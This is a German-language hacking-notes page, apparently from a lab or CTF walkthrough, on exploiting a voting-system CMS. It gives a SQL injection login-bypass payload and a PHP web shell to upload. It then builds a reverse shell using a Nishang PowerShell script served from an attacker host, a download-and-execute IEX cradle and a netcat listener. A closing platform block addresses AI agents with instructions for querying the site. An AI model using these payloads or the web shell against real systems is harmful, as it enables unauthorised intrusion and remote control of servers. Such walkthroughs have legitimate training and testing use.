> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/voting-system-cms-exploitation.md).

# Wahlsystem

## **SQL-Injektionslücke (SQLi)**

Verwenden Sie `searchsploit` um nach Schwachstellen im Wahlsystem zu suchen und das folgende Payload zu identifizieren:

<figure><img src="/files/02052c274b3881cc1a8f736786b0613dc9c30e05" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/dd8f52d165e46fd9ed747b194d4d0d81a96f33bb" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Verwende Burp Suite, um auf das Dashboard zuzugreifen.

<figure><img src="/files/154d9acf5c2f998d4f1e4661cfecbee82b2b9540" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0b0ab485e35335898c510fad126930c93805628c" alt=""><figcaption></figcaption></figure>

## Datei-Upload-Schwachstelle:

Sobald du im Dashboard bist, erstelle einen neuen Benutzer und lade `cmd.php` um Befehle auf dem Server auszuführen:

<figure><img src="/files/45385cc341feffb68f55c21602a5504ed427fd4c" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/e56a5acfa728fdbe3c206c9b71cd1769a2c52aad" alt="" width="482"><figcaption></figcaption></figure>

Das Panel erzwingt keine Sicherheitsprüfungen und erlaubt so Command Injection wie `whoami`. Teste die Konnektivität mit einem Ping-Befehl:

<figure><img src="/files/8fa021292965d29e73f102724a66766f176987b2" alt=""><figcaption></figcaption></figure>

Teste, ob das Ziel einen Ping senden kann.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Der Empfang einer Antwort bestätigt die Befehlsausführung auf dem Zielsystem.

<figure><img src="/files/f74d9192ddfe5740400caea8d81c02af43eef343" alt="" width="563"><figcaption></figcaption></figure>

**PowerShell-Befehlsausführung für eine Reverse Shell**

Sobald die Befehlsausführung bestätigt ist, hoste das `PS.ps1` Skript auf dem Angreiferrechner.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Füge die folgende Zeile am Ende des Skripts hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/2cac297bfc3ef4f142da2a6dd72cf136d13e9827" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` mit einem Webserver:

```bash
python3 -m http.server 80
```

Passe dann den Befehl an, damit er auf den Webserver des Angreifers verweist:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Starte schließlich einen Listener auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/d34f5dcd6a64f61add371f75a3eb1a6d27b56604" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
